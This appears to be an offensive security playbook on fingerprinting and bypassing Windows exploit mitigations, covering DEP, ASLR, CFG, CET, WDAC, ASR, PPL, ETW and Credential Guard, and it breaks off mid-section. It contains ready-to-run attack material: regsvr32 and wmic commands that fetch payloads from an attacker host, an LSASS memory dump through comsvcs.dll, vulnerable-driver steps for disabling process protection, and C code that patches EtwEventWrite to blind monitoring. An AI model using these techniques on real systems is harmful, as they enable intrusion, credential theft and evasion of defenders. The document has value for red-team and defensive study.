Windows Mitigations & Bypass

When to Activate

• Planning exploit mitigation bypass strategies
• Understanding Windows security architecture depth
• Researching WDAC/ASR/PPL bypass vectors
• Fingerprinting target mitigation landscape before exploitation

Mitigation Landscape

SYSTEM-LEVEL                    PROCESS-LEVEL
─────────────                   ─────────────
VBS/HVCI                        DEP/NX
WDAC/CI                         ASLR (Bottom-up, High Entropy)
Secure Boot                     CFG/XFG
Credential Guard                CET/Shadow Stack
KDP (Kernel Data Protection)    ACG (Arbitrary Code Guard)
KASLR                           CIG (Code Integrity Guard)
                                Child Process Policy

Recon & Fingerprinting

// Check system mitigations
// VBS/HVCI: HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard
// Credential Guard: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LsaCfgFlags
// Secure Boot: HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State

// Check process mitigations
GetProcessMitigationPolicy(hProcess, ProcessDEPPolicy, &dep, sizeof(dep));
GetProcessMitigationPolicy(hProcess, ProcessASLRPolicy, &aslr, sizeof(aslr));
GetProcessMitigationPolicy(hProcess, ProcessControlFlowGuardPolicy, &cfg, sizeof(cfg));
GetProcessMitigationPolicy(hProcess, ProcessDynamicCodePolicy, &acg, sizeof(acg));

# PowerShell enumeration
Get-ProcessMitigation -System
Get-ProcessMitigation -Name chrome.exe
# Find weak processes (missing mitigations)
Get-Process | ForEach-Object { Get-ProcessMitigation -Id $_.Id 2>$null }

DEP/NX Bypass

What it does: Marks stack/heap as non-executable. Code on stack won't run.

Bypass techniques:

• ROP (Return-Oriented Programming) — chain existing code gadgets
• ret2libc — call VirtualProtect/VirtualAlloc to make region executable
• JIT spray — abuse JIT compilers that generate executable code

# ROP to call VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &old)
from pwn import *
rop = ROP(elf)
rop.call('VirtualProtect', [shellcode_addr, 0x1000, 0x40, writable_addr])
rop.call(shellcode_addr)

ASLR Bypass

What it does: Randomizes base addresses of modules, stack, heap.

Bypass techniques:

• Information leak (format string, partial overwrite, side-channel)
• Partial overwrite (last 12 bits are fixed — page offset)
• Non-ASLR modules (legacy DLLs compiled without /DYNAMICBASE)
• Brute force (32-bit: only 8 bits of entropy for some regions)
• Heap spray (predictable addresses at high allocations)

# Find non-ASLR modules
# Process Hacker → Module tab → check DllCharacteristics for DYNAMIC_BASE
# Or: dumpbin /headers module.dll | findstr "Dynamic base"

CFG (Control Flow Guard) Bypass

What it does: Validates indirect call targets against a bitmap of valid targets.

Bypass techniques:

• Call existing valid targets (dispatch gadgets)
• Corrupt the CFG bitmap (requires write primitive)
• COOP (Counterfeit Object-Oriented Programming) — chain virtual method calls
• Target functions not in the bitmap (dynamically generated code)
• JIT spray to create valid targets

// CFG validates: call [rax] → is target in bitmap?
// Bypass: find "universal gadget" that's a valid CFG target
// Example: longjmp, coroutine dispatch, virtual destructors

CET / Shadow Stack Bypass

What it does: Hardware-enforced return address protection. Shadow stack stores copy of return addresses.

Bypass techniques:

• CET is relatively new — not all processes opt in
• Signal/exception handler abuse (legitimate stack unwinding)
• JOP (Jump-Oriented Programming) — avoid RET entirely
• Overwrite shadow stack via kernel vulnerability
• Target processes without CET enabled

ACG (Arbitrary Code Guard) Bypass

What it does: Prevents dynamic code generation (no RWX, no VirtualProtect to RX).

Bypass techniques:

• Use existing executable code (ROP/JOP only)
• Abuse JIT processes that have ACG exceptions
• Cross-process: inject into process without ACG
• Abuse shared memory sections mapped as executable

WDAC (Windows Defender Application Control) Bypass

What it does: Only allows execution of signed/approved binaries.

Bypass techniques:

# LOLBins that are WDAC-allowed but can execute arbitrary code:
# MSBuild.exe — compile and execute inline C#
MSBuild.exe payload.csproj

# InstallUtil.exe — execute via Uninstall method
InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll

# Regsvr32.exe — scriptlet execution
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# WMIC — XSL script execution
wmic process list /format:"http://attacker.com/payload.xsl"

# Managed DLL search order hijack in WDAC-allowed apps
# Find allowed app that loads DLL from writable location

ASR (Attack Surface Reduction) Bypass

What it does: Rules blocking common attack behaviors (Office macros, child processes, credential theft).

Bypass techniques:

# Check active ASR rules
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids

# Common bypasses:
# "Block Office from creating child processes" → use COM objects instead
# "Block credential stealing from LSASS" → use direct syscalls, not API
# "Block executable content from email" → HTML smuggling
# "Block JS/VBS from launching executables" → use WMI or COM

PPL (Protected Process Light) Bypass

What it does: Prevents unsigned code from accessing protected processes (LSASS, csrss).

Bypass techniques:

# BYOVD: Load vulnerable signed driver to disable PPL
# Known vulnerable drivers: RTCore64.sys, dbutil_2_3.sys, ene.sys
# Use driver to:
# 1. Zero out EPROCESS.Protection field
# 2. Or: remove kernel callbacks

# PPLdump: exploit PPL-allowed DLL loading
# Mimikatz driver: mimidrv.sys (if you can load it)

# Alternative: dump LSASS via comsvcs.dll (MiniDump)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> dump.bin full
# Note: heavily monitored by EDRs now

ETW Blinding

// Patch EtwEventWrite in ntdll (blinds userland ETW consumers)
// Patch NtTraceEvent for kernel-level (requires driver)

// Userland patch:
void PatchETW() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    void* addr = GetProcAddress(ntdll, "EtwEventWrite");
    DWORD old;
    VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);
    *(BYTE*)addr = 0xC3; // ret
    VirtualProtect(addr, 1, old, &old);
}

// Also patch:
// - EtwEventWriteFull
// - EtwEventWriteTransfer
// - NtTraceControl (for disabling providers)

Selective ETW Patching

// Instead of blanket patching, disable specific providers:
// Microsoft-Windows-PowerShell: {A0C1853B-5C40-4B15-8766-3CF1C58F985A}
// Microsoft-Windows-DotNETRuntime: {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}
// Microsoft-Antimalware-Scan-Interface: {2A576B87-09A7-520E-C21A-4942F0271D67}

Credential Guard Bypass

What it does: Isolates LSASS secrets in a Hyper-V protected container (VTL1).

Bypass techniques:

• Cannot dump credentials from memory (they're in secure enclave)
• Alternatives: Kerberos ticket theft (still in VTL0 memory)
• DCSync (if you have replication rights)
• Keylogging (capture credentials as typed)
• DPAPI abuse (user keys still accessible)
• Over-pass-the-hash with Kerberos tickets

Mitigation Fingerprint → Attack Strategy

Advanced: CET/Shadow Stack Deep Dive

How CET Works

// Intel CET (Control-flow Enforc